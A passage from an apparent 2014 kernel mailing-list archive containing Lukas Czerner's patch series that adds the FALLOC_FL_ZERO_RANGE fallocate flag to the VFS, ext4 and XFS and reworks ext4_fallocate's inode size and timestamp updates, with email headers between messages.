EXT_UNINIT_MAX_LEN << blkbits) - flags |= EXT4_GET_BLOCKS_NO_NORMALIZE; - -retry: - while (ret >= 0 && ret < max_blocks) { - map.m_lblk = map.m_lblk + ret; - map.m_len = max_blocks = max_blocks - ret; - handle = ext4_journal_start(inode, EXT4_HT_MAP_BLOCKS, - credits); - if (IS_ERR(handle)) { - ret = PTR_ERR(handle); - break; - } - ret = ext4_map_blocks(handle, inode, &map, flags); - if (ret <= 0) { - ext4_debug("inode #%lu: block %u: len %u: " - "ext4_ext_map_blocks returned %d", - inode->i_ino, map.m_lblk, - map.m_len, ret); - ext4_mark_inode_dirty(handle, inode); - ret2 = ext4_journal_stop(handle); - break; - } - ret2 = ext4_journal_stop(handle); - if (ret2) - break; - } - if (ret == -ENOSPC && - ext4_should_retry_alloc(inode->i_sb, &retries)) { - ret = 0; - goto retry; - } + ret = ext4_alloc_file_blocks(file, lblk, max_blocks, flags, mode); + if (ret) + goto out; handle = ext4_journal_start(inode, EXT4_HT_INODE, 2); if (IS_ERR(handle)) @@ -4620,7 +4640,7 @@ retry: inode->i_mtime = inode->i_ctime = ext4_current_time(inode); - if (ret > 0 && new_size) { + if (!ret && new_size) { if (new_size > i_size_read(inode)) i_size_write(inode, new_size); if (new_size > EXT4_I(inode)->i_disksize) @@ -4633,9 +4653,8 @@ retry: ext4_journal_stop(handle); out: mutex_unlock(&inode->i_mutex); - trace_ext4_fallocate_exit(inode, offset, max_blocks, - ret > 0 ? ret2 : ret); - return ret > 0 ? ret2 : ret; + trace_ext4_fallocate_exit(inode, offset, max_blocks, ret); + return ret; } /* -- 1.8.3.1 From lczerner@redhat.com Mon Feb 17 09:08:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6F9487F8D for ; Mon, 17 Feb 2014 09:08:38 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id F2C95AC00B for ; Mon, 17 Feb 2014 07:08:37 -0800 (PST) X-ASG-Debug-ID: 1392649717-04bdf00fc397dc0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id D1eBffN68Aw40sT4 for ; Mon, 17 Feb 2014 07:08:37 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1HF8ap7020675 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 17 Feb 2014 10:08:36 -0500 Received: from localhost.localdomain.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1HF8SPM018941; Mon, 17 Feb 2014 10:08:34 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Lukas Czerner Subject: [PATCH 4/6] fs: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Date: Mon, 17 Feb 2014 16:08:21 +0100 X-ASG-Orig-Subj: [PATCH 4/6] fs: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-Id: <1392649703-10772-5-git-send-email-lczerner@redhat.com> In-Reply-To: <1392649703-10772-1-git-send-email-lczerner@redhat.com> References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392649717 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same functionality as xfs ioctl XFS_IOC_ZERO_RANGE. It can be used to convert a range of file to zeros preferably without issuing data IO. Blocks should be preallocated for the regions that span holes in the file, and the entire range is preferable converted to unwritten extents - even though file system may choose to zero out the extent or do whatever which will result in reading zeros from the range while the range remains allocated for the file. This can be also used to preallocate blocks past EOF in the same way as with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode size to remain the same. Signed-off-by: Lukas Czerner --- fs/open.c | 7 ++++++- include/uapi/linux/falloc.h | 1 + 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/fs/open.c b/fs/open.c index 4b3e1ed..6dc46c1 100644 --- a/fs/open.c +++ b/fs/open.c @@ -231,7 +231,12 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) return -EINVAL; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_ZERO_RANGE)) + return -EOPNOTSUPP; + + /* Punch hole and zero range are mutually exclusive */ + if (mode & FALLOC_FL_PUNCH_HOLE && mode & FALLOC_FL_ZERO_RANGE) return -EOPNOTSUPP; /* Punch hole must have keep size set */ diff --git a/include/uapi/linux/falloc.h b/include/uapi/linux/falloc.h index 990c4cc..49951ea 100644 --- a/include/uapi/linux/falloc.h +++ b/include/uapi/linux/falloc.h @@ -4,6 +4,7 @@ #define FALLOC_FL_KEEP_SIZE 0x01 /* default is extend size */ #define FALLOC_FL_PUNCH_HOLE 0x02 /* de-allocates range */ #define FALLOC_FL_NO_HIDE_STALE 0x04 /* reserved codepoint */ +#define FALLOC_FL_ZERO_RANGE 0x08 /* zero range */ #endif /* _UAPI_FALLOC_H_ */ -- 1.8.3.1 From lczerner@redhat.com Mon Feb 17 09:08:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7B8D67F8E for ; Mon, 17 Feb 2014 09:08:38 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5BA1530408C for ; Mon, 17 Feb 2014 07:08:35 -0800 (PST) X-ASG-Debug-ID: 1392649714-04cbb00c2a4c83a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 8zvxFZE6sCfT67TT for ; Mon, 17 Feb 2014 07:08:34 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1HF8VEo014232 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 17 Feb 2014 10:08:31 -0500 Received: from localhost.localdomain.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1HF8SPJ018941; Mon, 17 Feb 2014 10:08:30 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Lukas Czerner Subject: [PATCH 1/6] ext4: Update inode i_size after the preallocation Date: Mon, 17 Feb 2014 16:08:18 +0100 X-ASG-Orig-Subj: [PATCH 1/6] ext4: Update inode i_size after the preallocation Message-Id: <1392649703-10772-2-git-send-email-lczerner@redhat.com> In-Reply-To: <1392649703-10772-1-git-send-email-lczerner@redhat.com> References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392649714 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Currently in ext4_fallocate we would update inode size, c_time and sync the file with every partial allocation which is entirely unnecessary. It is true that if the crash happens in the middle of truncate we might end up with unchanged i size, or c_time which I do not think is really a problem - it does not mean file system corruption in any way. Note that xfs is doing things the same way e.g. update all of the mentioned after the allocation is done. This commit moves all the updates after the allocation is done. In addition we also need to change m_time as not only inode has been change bot also data regions might have changed (unwritten extents). Also we do not need to be paranoid about changing the c_time and m_time only if the actual allocation have happened, we can change it even if we try to allocate only to find out that there are already block allocated. It's not really a big deal and it will save us some additional complexity. Also use ext4_debug, instead of ext4_warning in #ifdef EXT4FS_DEBUG section. Signed-off-by: Lukas Czerner --- fs/ext4/extents.c | 86 +++++++++++++++++++++---------------------------------- 1 file changed, 32 insertions(+), 54 deletions(-) diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 10cff47..6a52851 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -4513,36 +4513,6 @@ retry: ext4_std_error(inode->i_sb, err); } -static void ext4_falloc_update_inode(struct inode *inode, - int mode, loff_t new_size, int update_ctime) -{ - struct timespec now; - - if (update_ctime) { - now = current_fs_time(inode->i_sb); - if (!timespec_equal(&inode->i_ctime, &now)) - inode->i_ctime = now; - } - /* - * Update only when preallocation was requested beyond - * the file size. - */ - if (!(mode & FALLOC_FL_KEEP_SIZE)) { - if (new_size > i_size_read(inode)) - i_size_write(inode, new_size); - if (new_size > EXT4_I(inode)->i_disksize) - ext4_update_i_disksize(inode, new_size); - } else { - /* - * Mark that we allocate beyond EOF so the subsequent truncate - * can proceed even if the new size is the same as i_size. - */ - if (new_size > i_size_read(inode)) - ext4_set_inode_flag(inode, EXT4_INODE_EOFBLOCKS); - } - -} - /* * preallocate space for a file. This implements ext4's fallocate file * operation, which gets called from sys_fallocate system call. @@ -4554,7 +4524,7 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) { struct inode *inode = file_inode(file); handle_t *handle; - loff_t new_size; + loff_t new_size = 0; unsigned int max_blocks; int ret = 0; int ret2 = 0; @@ -4594,12 +4564,15 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) */ credits = ext4_chunk_trans_blocks(inode, max_blocks); mutex_lock(&inode->i_mutex); - ret = inode_newsize_ok(inode, (len + offset)); - if (ret) { - mutex_unlock(&inode->i_mutex); - trace_ext4_fallocate_exit(inode, offset, max_blocks, ret); - return ret; + + if (!(mode & FALLOC_FL_KEEP_SIZE) && + offset + len > i_size_read(inode)) { + new_size = offset + len; + ret = inode_newsize_ok(inode, new_size); + if (ret) + goto out; } + flags = EXT4_GET_BLOCKS_CREATE_UNINIT_EXT; if (mode & FALLOC_FL_KEEP_SIZE) flags |= EXT4_GET_BLOCKS_KEEP_SIZE; @@ -4623,28 +4596,14 @@ retry: } ret = ext4_map_blocks(handle, inode, &map, flags); if (ret <= 0) { -#ifdef EXT4FS_DEBUG - ext4_warning(inode->i_sb, - "inode #%lu: block %u: len %u: " - "ext4_ext_map_blocks returned %d", - inode->i_ino, map.m_lblk, - map.m_len, ret); -#endif + ext4_debug("inode #%lu: block %u: len %u: " + "ext4_ext_map_blocks returned %d", + inode->i_ino, map.m_lblk, + map.m_len, ret); ext4_mark_inode_dirty(handle, inode); ret2 = ext4_journal_stop(handle); break; } - if ((map.m_lblk + ret) >= (EXT4_BLOCK_ALIGN(offset + len, - blkbits) >> blkbits)) - new_size = offset + len; - else - new_size = ((loff_t) map.m_lblk + ret) << blkbits; - - ext4_falloc_update_inode(inode, mode, new_size, - (map.m_flags & EXT4_MAP_NEW)); - ext4_mark_inode_dirty(handle, inode); - if ((file->f_flags & O_SYNC) && ret >= max_blocks) - ext4_handle_sync(handle); ret2 = ext4_journal_stop(handle); if (ret2) break; @@ -4654,6 +4613,25 @@ retry: ret = 0; goto retry; } + + handle = ext4_journal_start(inode, EXT4_HT_INODE, 2); + if (IS_ERR(handle)) + goto out; + + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); + + if (ret > 0 && new_size) { + if (new_size > i_size_read(inode)) + i_size_write(inode, new_size); + if (new_size > EXT4_I(inode)->i_disksize) + ext4_update_i_disksize(inode, new_size); + } + ext4_mark_inode_dirty(handle, inode); + if (file->f_flags & O_SYNC) + ext4_handle_sync(handle); + + ext4_journal_stop(handle); +out: mutex_unlock(&inode->i_mutex); trace_ext4_fallocate_exit(inode, offset, max_blocks, ret > 0 ? ret2 : ret); -- 1.8.3.1 From lczerner@redhat.com Mon Feb 17 09:08:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E8A497F9F for ; Mon, 17 Feb 2014 09:08:43 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D6EEB8F8068 for ; Mon, 17 Feb 2014 07:08:43 -0800 (PST) X-ASG-Debug-ID: 1392649722-04cbb00c294c83e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id qfWlwQTC2gdNmvdN for ; Mon, 17 Feb 2014 07:08:43 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1HF8eAI031478 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 17 Feb 2014 10:08:40 -0500 Received: from localhost.localdomain.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1HF8SPO018941; Mon, 17 Feb 2014 10:08:38 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Lukas Czerner Subject: [PATCH 6/6] xfs: Add support for FALLOC_FL_ZERO_RANGE Date: Mon, 17 Feb 2014 16:08:23 +0100 X-ASG-Orig-Subj: [PATCH 6/6] xfs: Add support for FALLOC_FL_ZERO_RANGE Message-Id: <1392649703-10772-7-git-send-email-lczerner@redhat.com> In-Reply-To: <1392649703-10772-1-git-send-email-lczerner@redhat.com> References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392649722 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same functionality as xfs ioctl XFS_IOC_ZERO_RANGE. We can also preallocate blocks past EOF in the same was as with fallocate. Flag FALLOC_FL_KEEP_SIZE will cause the inode size to remain the same even if we preallocate blocks past EOF. It uses the same code to zero range as it is used by the XFS_IOC_ZERO_RANGE ioctl. Signed-off-by: Lukas Czerner --- fs/xfs/xfs_file.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 64b48ea..aec5f64 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -823,7 +823,8 @@ xfs_file_fallocate( if (!S_ISREG(inode->i_mode)) return -EINVAL; - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_ZERO_RANGE)) return -EOPNOTSUPP; xfs_ilock(ip, XFS_IOLOCK_EXCL); @@ -840,8 +841,11 @@ xfs_file_fallocate( goto out_unlock; } - error = xfs_alloc_file_space(ip, offset, len, - XFS_BMAPI_PREALLOC); + if (mode & FALLOC_FL_ZERO_RANGE) + error = xfs_zero_file_space(ip, offset, len); + else + error = xfs_alloc_file_space(ip, offset, len, + XFS_BMAPI_PREALLOC); if (error) goto out_unlock; } -- 1.8.3.1 From lczerner@redhat.com Mon Feb 17 09:08:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4E77D7F9F for ; Mon, 17 Feb 2014 09:08:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3CA598F8064 for ; Mon, 17 Feb 2014 07:08:41 -0800 (PST) X-ASG-Debug-ID: 1392649719-04cbb00c2b4c83d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id rBQwtenxpnW5TDL2 for ; Mon, 17 Feb 2014 07:08:40 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1HF8cMf002788 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 17 Feb 2014 10:08:38 -0500 Received: from localhost.localdomain.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1HF8SPN018941; Mon, 17 Feb 2014 10:08:36 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Lukas Czerner Subject: [PATCH 5/6] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Date: Mon, 17 Feb 2014 16:08:22 +0100 X-ASG-Orig-Subj: [PATCH 5/6] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-Id: <1392649703-10772-6-git-send-email-lczerner@redhat.com> In-Reply-To: <1392649703-10772-1-git-send-email-lczerner@redhat.com> References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392649719 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same functionality as xfs ioctl XFS_IOC_ZERO_RANGE. It can be used to convert a range of file to zeros preferably without issuing data IO. Blocks should be preallocated for the regions that span holes in the file, and the entire range is preferable converted to unwritten extents This can be also used to preallocate blocks past EOF in the same way as with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode size to remain the same. Also add appropriate tracepoints. Signed-off-by: Lukas Czerner --- fs/ext4/ext4.h | 2 + fs/ext4/extents.c | 262 +++++++++++++++++++++++++++++++++++++++++--- fs/ext4/inode.c | 17 ++- include/trace/events/ext4.h | 64 ++++++----- 4 files changed, 292 insertions(+), 53 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index 3b9601c..a649abe 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -568,6 +568,8 @@ enum { #define EXT4_GET_BLOCKS_NO_LOCK 0x0100 /* Do not put hole in extent cache */ #define EXT4_GET_BLOCKS_NO_PUT_HOLE 0x0200 + /* Convert written extents to unwritten */ +#define EXT4_GET_BLOCKS_CONVERT_UNWRITTEN 0x0400 /* * The bit position of these flags must not overlap with any of the diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 4bfa870..af0e8af 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -3568,6 +3568,8 @@ out: * b> Splits in two extents: Write is happening at either end of the extent * c> Splits in three extents: Somone is writing in middle of the extent * + * This works the same way in the case of initialized -> unwritten conversion. + * * One of more index blocks maybe needed if the extent tree grow after * the uninitialized extent split. To prevent ENOSPC occur at the IO * complete, we need to split the uninitialized extent before DIO submit @@ -3578,7 +3580,7 @@ out: * * Returns the size of uninitialized extent to be written on success. */ -static int ext4_split_unwritten_extents(handle_t *handle, +static int ext4_split_convert_extents(handle_t *handle, struct inode *inode, struct ext4_map_blocks *map, struct ext4_ext_path *path, @@ -3590,9 +3592,9 @@ static int ext4_split_unwritten_extents(handle_t *handle, unsigned int ee_len; int split_flag = 0, depth; - ext_debug("ext4_split_unwritten_extents: inode %lu, logical" - "block %llu, max_blocks %u\n", inode->i_ino, - (unsigned long long)map->m_lblk, map->m_len); + ext_debug("%s: inode %lu, logical block %llu, max_blocks %u\n", + __func__, inode->i_ino, + (unsigned long long)map->m_lblk, map->m_len); eof_block = (inode->i_size + inode->i_sb->s_blocksize - 1) >> inode->i_sb->s_blocksize_bits; @@ -3607,14 +3609,73 @@ static int ext4_split_unwritten_extents(handle_t *handle, ee_block = le32_to_cpu(ex->ee_block); ee_len = ext4_ext_get_actual_len(ex); - split_flag |= ee_block + ee_len <= eof_block ? EXT4_EXT_MAY_ZEROOUT : 0; - split_flag |= EXT4_EXT_MARK_UNINIT2; - if (flags & EXT4_GET_BLOCKS_CONVERT) - split_flag |= EXT4_EXT_DATA_VALID2; + /* Convert to unwritten */ + if (flags | EXT4_GET_BLOCKS_CONVERT_UNWRITTEN) { + split_flag |= EXT4_EXT_DATA_VALID1; + /* Convert to initialized */ + } else if (flags | EXT4_GET_BLOCKS_CONVERT) { + split_flag |= ee_block + ee_len <= eof_block ? + EXT4_EXT_MAY_ZEROOUT : 0; + split_flag |= (EXT4_EXT_MARK_UNINIT2 & EXT4_EXT_DATA_VALID2); + } flags |= EXT4_GET_BLOCKS_PRE_IO; return ext4_split_extent(handle, inode, path, map, split_flag, flags); } +static int ext4_convert_initialized_extents(handle_t *handle, + struct inode *inode, + struct ext4_map_blocks *map, + struct ext4_ext_path *path) +{ + struct ext4_extent *ex; + ext4_lblk_t ee_block; + unsigned int ee_len; + int depth; + int err = 0; + + depth = ext_depth(inode); + ex = path[depth].p_ext; + ee_block = le32_to_cpu(ex->ee_block); + ee_len = ext4_ext_get_actual_len(ex); + + ext_debug("%s: inode %lu, logical" + "block %llu, max_blocks %u\n", __func__, inode->i_ino, + (unsigned long long)ee_block, ee_len); + + if (ee_block != map->m_lblk || ee_len > map->m_len) { + err = ext4_split_convert_extents(handle, inode, map, path, + EXT4_GET_BLOCKS_CONVERT_UNWRITTEN); + if (err < 0) + goto out; + ext4_ext_drop_refs(path); + path = ext4_ext_find_extent(inode, map->m_lblk, path, 0); + if (IS_ERR(path)) { + err = PTR_ERR(path); + goto out; + } + depth = ext_depth(inode); + ex = path[depth].p_ext; + } + + err = ext4_ext_get_access(handle, inode, path + depth); + if (err) + goto out; + /* first mark the extent as uninitialized */ + ext4_ext_mark_uninitialized(ex); + + /* note: ext4_ext_correct_indexes() isn't needed here because + * borders are not changed + */ + ext4_ext_try_to_merge(handle, inode, path, ex); + + /* Mark modified extent as dirty */ + err = ext4_ext_dirty(handle, inode, path + path->p_depth); +out: + ext4_ext_show_leaf(inode, path); + return err; +} + + static int ext4_convert_unwritten_extents_endio(handle_t *handle, struct inode *inode, struct ext4_map_blocks *map, @@ -3648,8 +3709,8 @@ static int ext4_convert_unwritten_extents_endio(handle_t *handle, inode->i_ino, (unsigned long long)ee_block, ee_len, (unsigned long long)map->m_lblk, map->m_len); #endif - err = ext4_split_unwritten_extents(handle, inode, map, path, - EXT4_GET_BLOCKS_CONVERT); + err = ext4_split_convert_extents(handle, inode, map, path, + EXT4_GET_BLOCKS_CONVERT); if (err < 0) goto out; ext4_ext_drop_refs(path); @@ -3850,6 +3911,35 @@ get_reserved_cluster_alloc(struct inode *inode, ext4_lblk_t lblk_start, } static int +ext4_ext_convert_initialized_extent(handle_t *handle, struct inode *inode, + struct ext4_map_blocks *map, + struct ext4_ext_path *path, int flags, + unsigned int allocated, ext4_fsblk_t newblock) +{ + int ret = 0; + int err = 0; + + ret = ext4_convert_initialized_extents(handle, inode, map, + path); + if (ret >= 0) { + ext4_update_inode_fsync_trans(handle, inode, 1); + err = check_eofblocks_fl(handle, inode, map->m_lblk, + path, map->m_len); + } else + err = ret; + map->m_flags |= EXT4_MAP_UNWRITTEN; + if (allocated > map->m_len) + allocated = map->m_len; + map->m_len = allocated; + + if (path) { + ext4_ext_drop_refs(path); + kfree(path); + } + return err ? err : allocated; +} + +static int ext4_ext_handle_uninitialized_extents(handle_t *handle, struct inode *inode, struct ext4_map_blocks *map, struct ext4_ext_path *path, int flags, @@ -3876,8 +3966,8 @@ ext4_ext_handle_uninitialized_extents(handle_t *handle, struct inode *inode, /* get_block() before submit the IO, split the extent */ if ((flags & EXT4_GET_BLOCKS_PRE_IO)) { - ret = ext4_split_unwritten_extents(handle, inode, map, - path, flags); + ret = ext4_split_convert_extents(handle, inode, map, + path, flags | EXT4_GET_BLOCKS_CONVERT); if (ret <= 0) goto out; /* @@ -4168,6 +4258,7 @@ int ext4_ext_map_blocks(handle_t *handle, struct inode *inode, ext4_fsblk_t ee_start = ext4_ext_pblock(ex); unsigned short ee_len; + /* * Uninitialized extents are treated as holes, except that * we split out initialized portions during a write. @@ -4184,7 +4275,17 @@ int ext4_ext_map_blocks(handle_t *handle, struct inode *inode, ext_debug("%u fit into %u:%d -> %llu\n", map->m_lblk, ee_block, ee_len, newblock); - if (!ext4_ext_is_uninitialized(ex)) + /* + * If the extent is initialized check whether the + * caller wants to convert it to unwritten. + */ + if ((!ext4_ext_is_uninitialized(ex)) && + (flags & EXT4_GET_BLOCKS_CONVERT_UNWRITTEN)) { + allocated = ext4_ext_convert_initialized_extent( + handle, inode, map, path, flags, + allocated, newblock); + goto out3; + } else if (!ext4_ext_is_uninitialized(ex)) goto out; allocated = ext4_ext_handle_uninitialized_extents( @@ -4570,6 +4671,135 @@ retry: return ret > 0 ? ret2 : ret; } +long ext4_zero_range(struct file *file, loff_t offset, loff_t len, int mode) +{ + struct inode *inode = file_inode(file); + handle_t *handle = NULL; + unsigned int max_blocks; + loff_t new_size = 0; + int ret = 0; + int flags; + int partial; + loff_t start, end; + ext4_lblk_t lblk; + struct address_space *mapping = inode->i_mapping; + unsigned int blkbits = inode->i_blkbits; + + trace_ext4_zero_range(inode, offset, len, mode); + + /* + * Write out all dirty pages to avoid race conditions + * Then release them. + */ + if (mapping->nrpages && mapping_tagged(mapping, PAGECACHE_TAG_DIRTY)) { + ret = filemap_write_and_wait_range(mapping, offset, + offset + len - 1); + if (ret) + return ret; + } + + /* + * Round up offset. This is not fallocate, we neet to zero out + * blocks, so convert interior block aligned part of the range to + * unwritten and possibly manually zero out unaligned parts of the + * range. + */ + start = round_up(offset, 1 << blkbits); + end = round_down((offset + len), 1 << blkbits); + + if (start < offset || end > offset + len) + return -EINVAL; + partial = (offset + len) & ((1 << blkbits) - 1); + + lblk = start >> blkbits; + max_blocks = (end >> blkbits); + if (max_blocks < lblk) + max_blocks = 0; + else + max_blocks -= lblk; + + flags = EXT4_GET_BLOCKS_CREATE_UNINIT_EXT | + EXT4_GET_BLOCKS_CONVERT_UNWRITTEN; + if (mode & FALLOC_FL_KEEP_SIZE) + flags |= EXT4_GET_BLOCKS_KEEP_SIZE; + + mutex_lock(&inode->i_mutex); + + /* + * Indirect files do not support unwritten extnets + */ + if (!(ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS))) { + ret = -EOPNOTSUPP; + goto out_mutex; + } + + if (!(mode & FALLOC_FL_KEEP_SIZE) && + offset + len > i_size_read(inode)) { + new_size = offset + len; + ret = inode_newsize_ok(inode, new_size); + if (ret) + goto out_mutex; + /* + * If we have a partial block after EOF we have to allocate + * the entire block. + */ + if (partial) + max_blocks += 1; + } + + if (max_blocks > 0) { + + /* Now release the pages and zero block aligned part of pages*/ + truncate_pagecache_range(inode, start, end - 1); + + /* Wait all existing dio workers, newcomers will block on i_mutex */ + ext4_inode_block_unlocked_dio(inode); + inode_dio_wait(inode); + + /* + * Remove entire range from the extent status tree. + */ + ret = ext4_es_remove_extent(inode, lblk, max_blocks); + if (ret) + goto out_dio; + + ret = ext4_alloc_file_blocks(file, lblk, max_blocks, flags, + mode); + if (ret) + goto out_dio; 